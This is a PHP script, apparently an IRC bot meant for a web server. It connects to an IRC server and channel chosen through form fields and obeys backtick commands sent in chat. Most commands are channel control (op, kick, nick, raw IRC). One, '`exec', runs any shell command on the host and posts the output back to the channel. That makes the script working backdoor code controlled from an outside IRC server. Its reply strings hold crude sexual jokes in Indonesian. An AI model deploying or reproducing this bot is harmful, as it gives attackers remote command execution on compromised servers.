set_time_limit(0);
define ('CRLF', "\r\n");
define ('CR',"\n");
define ('BASE', "#mfm");
define ('VERSION', "Sapa Loe Version gw??");
$nick = $_POST['nick'];
$username = $_POST['user'];
$localhost = '127.0.0.1';
$remotehost = $_POST['server'];
$realname = $_POST['nama'];
$channel = $_POST['channel'];
$oWner = $_POST['owner'];
$port = $_POST['port'];
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
if(!$fp) {
print "Sorry, error !";
exit;
}
$Header = 'NICK ' . $nick . CRLF;
$Header .= 'USER ' . $username . ' ' . $localhost . ' ' . $remotehost . ' :' . $realname . CRLF;
fputs($fp, $Header);
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
while (substr_count($response,CRLF) != 0) {
$offset = strpos($response, CRLF);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if ( substr($data,0,1) == ':' ) {
$offsetA = strpos($data, ' ');
$nNick = strpos($data, '!');
$dFrom = substr($data,1,$nNick - 1);
$offsetB = strpos($data, ' :');
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dText = substr($data,$offsetB+2);
$dValue = substr($dText, 6);
if ( substr($dCommand,0,3) == '004' ) {
fputs($fp,'JOIN ' . $channel . CRLF);
fputs($fp,'JOIN ' . BASE . CRLF);
}
elseif ( substr($dCommand,0,7) == 'PRIVMSG' ) {
if ( Ord(substr($dText,0,1)) == 1 ) {
if ( substr($dText,1,4) == 'PING' ) {
fputs($fp, 'NOTICE ' . $dFrom . ' :' . chr(1) . 'PING ' . $dValue . CR);
}
elseif ( substr($dText,1,7) == 'VERSION' ) {
fputs($fp, 'NOTICE ' . $dFrom . ' :' . chr(1) . 'VERSION Internet Relay Chat (IRC) with PHP (. Y .) ' . VERSION . chr(1) . CR);
}
elseif ( substr($dText,1,4) == 'TIME' ) {
fputs($fp, 'NOTICE ' . $dFrom . ' :' . chr(1) . 'TIME Jamilah kurang montok' . chr(1) . CR);
}
}
elseif ( strpos($data,'#') == 0 ) {
fputs($fp, 'PRIVMSG ' . $dFrom . ' :I am just a bot (. Y .)' . CR);
}
else {
$dPos = strpos( $data,'#' );
$dChan = substr( $data, $dPos );
$dPos = strpos( $dChan,' ' );
$dChan = substr( $dChan,0,$dPos);
if ( substr($dText,0,4) == '`say' ) {
fputs($fp, 'PRIVMSG ' . $dChan . ' :' . substr($dText,5) . CR);
}
elseif ( substr($dText,0,3) == '`up' ) {
$var = trim(substr($dText,6));
if ( empty($var) )
fputs($fp, 'MODE ' . $dChan . ' +o ' . $dFrom . CR);
else
fputs($fp, 'MODE ' . $dChan . ' +o ' . $var . CR);
}
elseif ( substr($dText,0,5) == '`down' ) {
$var = trim(substr($dText,6));
if ( empty($var) )
fputs($fp, 'MODE ' . $dChan . ' -o ' . $dFrom . CR);
else
fputs($fp, 'MODE ' . $dChan . ' -o ' . $var . CR);
}
elseif ( substr($dText,0,5) == '`kick' ) {
$reason = substr( $dText, 6 );
$pos = strpos( $reason, ' ' );
$reason = substr( $reason, $pos + 1 );
fputs($fp, 'KICK ' . $dChan . ' ' . substr($dText,6,$pos) . ' :' . $reason . CR);
}
elseif ( substr($dText,0,5) == '`join' ) {
fputs($fp, 'JOIN ' . substr($dText,6) . CR);
}
elseif ( substr($dText,0,8) == '`version' ) {
fputs($fp, 'PRIVMSG ' . $dChan . ' :' . VERSION . CR);
}
elseif ( substr($dText,0,5) == '`nick' ) {
fputs($fp, 'NICK ' . substr($dText,6) . CR);
}
elseif ( substr($dText,0,5) == '`slap' ) {
fputs($fp, 'PRIVMSG ' . $dChan . ' :' . chr(1) . 'ACTION ' . 'slaps ' . substr($dText,6) . ' pake terompah besi'. chr(1) . CRLF);
}
elseif ( substr($dText,0,5) == '`quit' ) {
fputs($fp, 'QUIT :' . VERSION . CR);
}
elseif ( substr($dText,0,4) == '`irc' ) {
fputs($fp, substr($dText,5) . CR);
}
elseif ( substr($dText,0,5) == '`exec' ) {
$output = exec( substr($dText,6), $array );
for ($i = 0;$i < count($array);$i++) {
fputs($fp, 'PRIVMSG ' . $dChan . ' :' . $array[$i] . CR);
sleep(3);
}
unset($array);
}
}
}
}
elseif ( substr($data,0,4) == 'PING' ) {
fputs($fp,'PONG :' . substr($data,5) . CR);
}
}
}
echo "Disconnected";
fclose ($fp);
?>
               (
geocities.com/ijookeren)